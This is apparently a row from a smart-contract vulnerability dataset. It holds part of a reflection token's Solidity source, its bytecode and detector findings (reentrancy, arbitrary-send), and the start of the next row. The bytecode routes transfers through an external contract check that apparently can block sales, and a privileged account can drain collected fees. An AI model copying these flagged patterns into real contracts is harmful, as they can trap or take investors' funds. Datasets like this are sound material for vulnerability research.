_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea57806351bc3c851461021557806356d9dce81461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b60405161012591906126a5565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121f5565b6103e4565b604051610162919061268a565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612847565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121a2565b610426565b6040516101ca919061268a565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c91906128bc565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a7c565b005b34801561024f57600080fd5b5061026a60048036038101906102659190612108565b610b64565b6040516102779190612847565b60405180910390f35b34801561028c57600080fd5b50610295610bb5565b005b3480156102a357600080fd5b506102ac610d08565b6040516102b991906125bc565b60405180910390f35b3480156102ce57600080fd5b506102d7610d31565b6040516102e491906126a5565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f9190612262565b610d6e565b005b34801561032257600080fd5b5061033d600480360381019061033891906121f5565b610de6565b60405161034a919061268a565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612162565b610e04565b6040516103879190612847565b60405180910390f35b34801561039c57600080fd5b506103a5610e8b565b005b60606040518060400160405280600781526020017f476f204d6f6f6e00000000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f47565b8484610f4f565b6001905092915050565b60006006600a6104129190612a06565b6305f5e1006104219190612b24565b905090565b600061043384848461111a565b6104f48461043f610f47565b6104ef8560405180606001604052806028815260200161306760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610f47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116349092919063ffffffff16565b610f4f565b600190509392505050565b610507610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612727565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e59190612a06565b6305f5e1006105f49190612b24565b610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190612135565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190612135565b6040518363ffffffff1660e01b81526004016107729291906125d7565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190612135565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b64565b600080610858610d08565b426040518863ffffffff1660e01b815260040161087a96959493929190612629565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906122bc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a4929190612600565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612235565b50565b60006006905090565b610a0a610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6000610a6e30610b64565b9050610a7981611698565b50565b610a84610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610add57600080fd5b600c60149054906101000a900460ff16610b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2390612827565b60405180910390fd5b6000600c60166101000a81548160ff0219169083151502179055506000600c60146101000a81548160ff021916908315150217905550565b6000610bae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611920565b9050919050565b610bbd610f47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c41906127a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f474d000000000000000000000000000000000000000000000000000000000000815250905090565b610d76610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcf57600080fd5b60068110610ddc57600080fd5b8060088190555050565b6000610dfa610df3610f47565b848461111a565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e93610f47565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec57600080fd5b6000479050610efa8161198e565b50565b6000610f3f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fa565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb690612807565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612707565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110d9190612847565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906127e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906126c7565b60405180910390fd5b6000811161123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906127c7565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b815260040161128a91906125bc565b60206040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112da919061228f565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113855750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b611390576000611392565b815b111561139d57600080fd5b6113a5610d08565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141357506113e3610d08565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561162457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114c35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115195750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561156357600a548110611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612767565b60405180910390fd5b5b600061156e30610b64565b9050600c60159054906101000a900460ff161580156115db5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115f35750600c60169054906101000a900460ff165b156116225761160181611698565b6000479050670de0b6b3a76400008111156116205761161f4761198e565b5b505b505b61162f838383611a5d565b505050565b600083831115829061167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167391906126a5565b60405180910390fd5b506000838561168b9190612b7e565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d0576116cf612cd9565b5b6040519080825280602002602001820160405280156116fe5781602001602082028036833780820191505090505b509050308160008151811061171657611715612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117b857600080fd5b505afa1580156117cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f09190612135565b8160018151811061180457611803612caa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186b30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118cf959493929190612862565b600060405180830381600087803b1580156118e957600080fd5b505af11580156118fd573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b6000600554821115611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e906126e7565b60405180910390fd5b6000611971611a6d565b90506119868184610efd90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119f6573d6000803e3d6000fd5b5050565b60008083118290611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3891906126a5565b60405180910390fd5b5060008385611a509190612982565b9050809150509392505050565b611a68838383611a98565b505050565b6000806000611a7a611c63565b91509150611a918183610efd90919063ffffffff16565b9250505090565b600080600080600080611aaa87611cfe565b955095509550955095509550611b0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611be981611e0e565b611bf38483611ecb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c509190612847565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611c7d9190612a06565b6305f5e100611c8c9190612b24565b9050611cbf6006600a611c9f9190612a06565b6305f5e100611cae9190612b24565b600554610efd90919063ffffffff16565b821015611cf1576005546006600a611cd79190612a06565b6305f5e100611ce69190612b24565b935093505050611cfa565b81819350935050505b9091565b6000806000806000806000806000611d1b8a600754600854611f05565b9250925092506000611d2b611a6d565b90506000806000611d3e8e878787611f9b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611da883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611634565b905092915050565b6000808284611dbf919061292c565b905083811015611e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfb90612747565b60405180910390fd5b8091505092915050565b6000611e18611a6d565b90506000611e2f828461202490919063ffffffff16565b9050611e8381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ee082600554611d6690919063ffffffff16565b600581905550611efb81600654611db090919063ffffffff16565b6006819055505050565b600080600080611f316064611f23888a61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f5b6064611f4d888b61202490919063ffffffff16565b610efd90919063ffffffff16565b90506000611f8482611f76858c611d6690919063ffffffff16565b611d6690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611fb4858961202490919063ffffffff16565b90506000611fcb868961202490919063ffffffff16565b90506000611fe2878961202490919063ffffffff16565b9050600061200b82611ffd8587611d6690919063ffffffff16565b611d6690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120375760009050612099565b600082846120459190612b24565b90508284826120549190612982565b14612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b90612787565b60405180910390fd5b809150505b92915050565b6000813590506120ae81613021565b92915050565b6000815190506120c381613021565b92915050565b6000815190506120d881613038565b92915050565b6000813590506120ed8161304f565b92915050565b6000815190506121028161304f565b92915050565b60006020828403121561211e5761211d612d08565b5b600061212c8482850161209f565b91505092915050565b60006020828403121561214b5761214a612d08565b5b6000612159848285016120b4565b91505092915050565b6000806040838503121561217957612178612d08565b5b60006121878582860161209f565b92505060206121988582860161209f565b9150509250929050565b6000806000606084860312156121bb576121ba612d08565b5b60006121c98682870161209f565b93505060206121da8682870161209f565b92505060406121eb868287016120de565b9150509250925092565b6000806040838503121561220c5761220b612d08565b5b600061221a8582860161209f565b925050602061222b858286016120de565b9150509250929050565b60006020828403121561224b5761224a612d08565b5b6000612259848285016120c9565b91505092915050565b60006020828403121561227857612277612d08565b5b6000612286848285016120de565b91505092915050565b6000602082840312156122a5576122a4612d08565b5b60006122b3848285016120f3565b91505092915050565b6000806000606084860312156122d5576122d4612d08565b5b60006122e3868287016120f3565b93505060206122f4868287016120f3565b9250506040612305868287016120f3565b9150509250925092565b600061231b8383612327565b60208301905092915050565b61233081612bb2565b82525050565b61233f81612bb2565b82525050565b6000612350826128e7565b61235a818561290a565b9350612365836128d7565b8060005b8381101561239657815161237d888261230f565b9750612388836128fd565b925050600181019050612369565b5085935050505092915050565b6123ac81612bc4565b82525050565b6123bb81612c07565b82525050565b60006123cc826128f2565b6123d6818561291b565b93506123e6818560208601612c19565b6123ef81612d0d565b840191505092915050565b600061240760238361291b565b915061241282612d2b565b604082019050919050565b600061242a602a8361291b565b915061243582612d7a565b604082019050919050565b600061244d60228361291b565b915061245882612dc9565b604082019050919050565b600061247060178361291b565b915061247b82612e18565b602082019050919050565b6000612493601b8361291b565b915061249e82612e41565b602082019050919050565b60006124b6601a8361291b565b91506124c182612e6a565b602082019050919050565b60006124d960218361291b565b91506124e482612e93565b604082019050919050565b60006124fc60208361291b565b915061250782612ee2565b602082019050919050565b600061251f60298361291b565b915061252a82612f0b565b604082019050919050565b600061254260258361291b565b915061254d82612f5a565b604082019050919050565b600061256560248361291b565b915061257082612fa9565b604082019050919050565b6000612588601a8361291b565b915061259382612ff8565b602082019050919050565b6125a781612bf0565b82525050565b6125b681612bfa565b82525050565b60006020820190506125d16000830184612336565b92915050565b60006040820190506125ec6000830185612336565b6125f96020830184612336565b9392505050565b60006040820190506126156000830185612336565b612622602083018461259e565b9392505050565b600060c08201905061263e6000830189612336565b61264b602083018861259e565b61265860408301876123b2565b61266560608301866123b2565b6126726080830185612336565b61267f60a083018461259e565b979650505050505050565b600060208201905061269f60008301846123a3565b92915050565b600060208201905081810360008301526126bf81846123c1565b905092915050565b600060208201905081810360008301526126e0816123fa565b9050919050565b600060208201905081810360008301526127008161241d565b9050919050565b6000602082019050818103600083015261272081612440565b9050919050565b6000602082019050818103600083015261274081612463565b9050919050565b6000602082019050818103600083015261276081612486565b9050919050565b60006020820190508181036000830152612780816124a9565b9050919050565b600060208201905081810360008301526127a0816124cc565b9050919050565b600060208201905081810360008301526127c0816124ef565b9050919050565b600060208201905081810360008301526127e081612512565b9050919050565b6000602082019050818103600083015261280081612535565b9050919050565b6000602082019050818103600083015261282081612558565b9050919050565b600060208201905081810360008301526128408161257b565b9050919050565b600060208201905061285c600083018461259e565b92915050565b600060a082019050612877600083018861259e565b61288460208301876123b2565b81810360408301526128968186612345565b90506128a56060830185612336565b6128b2608083018461259e565b9695505050505050565b60006020820190506128d160008301846125ad565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061293782612bf0565b915061294283612bf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561297757612976612c4c565b5b828201905092915050565b600061298d82612bf0565b915061299883612bf0565b9250826129a8576129a7612c7b565b5b828204905092915050565b6000808291508390505b60018511156129fd578086048111156129d9576129d8612c4c565b5b60018516156129e85780820291505b80810290506129f685612d1e565b94506129bd565b94509492505050565b6000612a1182612bf0565b9150612a1c83612bfa565b9250612a497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a51565b905092915050565b600082612a615760019050612b1d565b81612a6f5760009050612b1d565b8160018114612a855760028114612a8f57612abe565b6001915050612b1d565b60ff841115612aa157612aa0612c4c565b5b8360020a915084821115612ab857612ab7612c4c565b5b50612b1d565b5060208310610133831016604e8410600b8410161715612af35782820a905083811115612aee57612aed612c4c565b5b612b1d565b612b0084848460016129b3565b92509050818404811115612b1757612b16612c4c565b5b81810290505b9392505050565b6000612b2f82612bf0565b9150612b3a83612bf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7357612b72612c4c565b5b828202905092915050565b6000612b8982612bf0565b9150612b9483612bf0565b925082821015612ba757612ba6612c4c565b5b828203905092915050565b6000612bbd82612bd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612c1282612bf0565b9050919050565b60005b83811015612c37578082015181840152602081019050612c1c565b83811115612c46576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74207374617274656420796574000000000000600082015250565b61302a81612bb2565b811461303557600080fd5b50565b61304181612bc4565b811461304c57600080fd5b50565b61305881612bf0565b811461306357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220104508771955afecbe2fe4a78a716d822ad210e1aa4cd044a4c3d18ebb0a3c4364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,775 |
0x626a651f23e179d29e92fd6f58144d4f0df6fc64
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
//SPDX-License-Identifier: UNLICENSED
/*
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢀⢄⢄⠢⡠⡀⢀⠄⡀⡀⠄⠄⠄⠄⠐⠡⠄⠉⠻⣻⣟⣿⣿⣄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢠⢣⠣⡎⡪⢂⠊⡜⣔⠰⡐⠠⠄⡾⠄⠈⠠⡁⡂⠄⠔⠸⣻⣿⣿⣯⢂⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⡀⠄⠄⠄⠄⠄⠄⠄⠐⢰⡱⣝⢕⡇⡪⢂⢊⢪⢎⢗⠕⢕⢠⣻⠄⠄⠄⠂⠢⠌⡀⠄⠨⢚⢿⣿⣧⢄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⡐⡈⠌⠄⠄⠄⠄⠄⠄⠄⡧⣟⢼⣕⢝⢬⠨⡪⡚⡺⡸⡌⡆⠜⣾⠄⠄⠄⠁⡐⠠⣐⠨⠄⠁⠹⡹⡻⣷⡕⢄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⢄⠇⠂⠄⠄⠄⠄⠄⠄⠄⢸⣻⣕⢗⠵⣍⣖⣕⡼⡼⣕⢭⢮⡆⠱⣽⡇⠄⠄⠂⠁⠄⢁⠢⡁⠄⠄⠐⠈⠺⢽⣳⣄⠄⠄
⠄⠄⠄⠄⠄⢔⢕⢌⠄⠄⠄⠄⠄⢀⠄⠄⣾⢯⢳⠹⠪⡺⡺⣚⢜⣽⣮⣳⡻⡇⡙⣜⡇⠄⠄⢸⠄⠄⠂⡀⢠⠂⠄⢶⠊⢉⡁⠨⡒⠄⠄
⠄⠄⠄⠄⡨⣪⣿⢰⠈⠄⠄⠄⡀⠄⠄⠄⣽⣵⢿⣸⢵⣫⣳⢅⠕⡗⣝⣼⣺⠇⡘⡲⠇⠄⠄⠨⠄⠐⢀⠐⠐⠡⢰⠁⠄⣴⣾⣷⣮⣇⠄
⠄⠄⠄⠄⡮⣷⣿⠪⠄⠄⠄⠠⠄⠂⠠⠄⡿⡞⡇⡟⣺⣺⢷⣿⣱⢕⢵⢺⢼⡁⠪⣘⡇⠄⠄⢨⠄⠐⠄⠄⢀⠄⢸⠄⠄⣿⣿⣿⣿⣿⡆
⠄⠄⠄⢸⣺⣿⣿⣇⠄⠄⠄⠄⢀⣤⣖⢯⣻⡑⢕⢭⢷⣻⣽⡾⣮⡳⡵⣕⣗⡇⠡⡣⣃⠄⠄⠸⠄⠄⠄⠄⠄⠄⠈⠄⠄⢻⣿⣿⣵⡿⣹
⠄⠄⠄⢸⣿⣿⣟⣯⢄⢤⢲⣺⣻⣻⡺⡕⡔⡊⡎⡮⣿⣿⣽⡿⣿⣻⣼⣼⣺⡇⡀⢎⢨⢐⢄⡀⠄⢁⠠⠄⠄⠐⠄⠣⠄⠸⣿⣿⣯⣷⣿
⠄⠄⠄⢸⣿⣿⣿⢽⠲⡑⢕⢵⢱⢪⡳⣕⢇⢕⡕⣟⣽⣽⣿⣿⣿⣿⣿⣿⣿⢗⢜⢜⢬⡳⣝⢸⣢⢀⠄⠄⠐⢀⠄⡀⠆⠄⠸⣿⣿⣿⣿
⠄⠄⠄⢸⣿⣿⣿⢽⣝⢎⡪⡰⡢⡱⡝⡮⡪⡣⣫⢎⣿⣿⣿⣿⣿⣿⠟⠋⠄⢄⠄⠈⠑⠑⠭⡪⡪⢏⠗⡦⡀⠐⠄⠄⠈⠄⠄⠙⣿⣿⣿
⠄⠄⠄⠘⣿⣿⣿⣿⡲⣝⢮⢪⢊⢎⢪⢺⠪⣝⢮⣯⢯⣟⡯⠷⠋⢀⣠⣶⣾⡿⠿⢀⣴⣖⢅⠪⠘⡌⡎⢍⣻⠠⠅⠄⠄⠈⠢⠄⠄⠙⠿
⠄⠄⠄⠄⣿⣿⣿⣿⣽⢺⢍⢎⢎⢪⡪⡮⣪⣿⣞⡟⠛⠋⢁⣠⣶⣿⡿⠛⠋⢀⣤⢾⢿⣕⢇⠡⢁⢑⠪⡳⡏⠄⠄⠄⠄⠄⠄⢑⠤⢀⢠
⠄⠄⠄⠄⢸⣿⣿⣿⣟⣮⡳⣭⢪⡣⡯⡮⠗⠋⠁⠄⠄⠈⠿⠟⠋⣁⣀⣴⣾⣿⣗⡯⡳⡕⡕⡕⡡⢂⠊⢮⠃⠄⠄⠄⠄⠄⢀⠐⠨⢁⠨
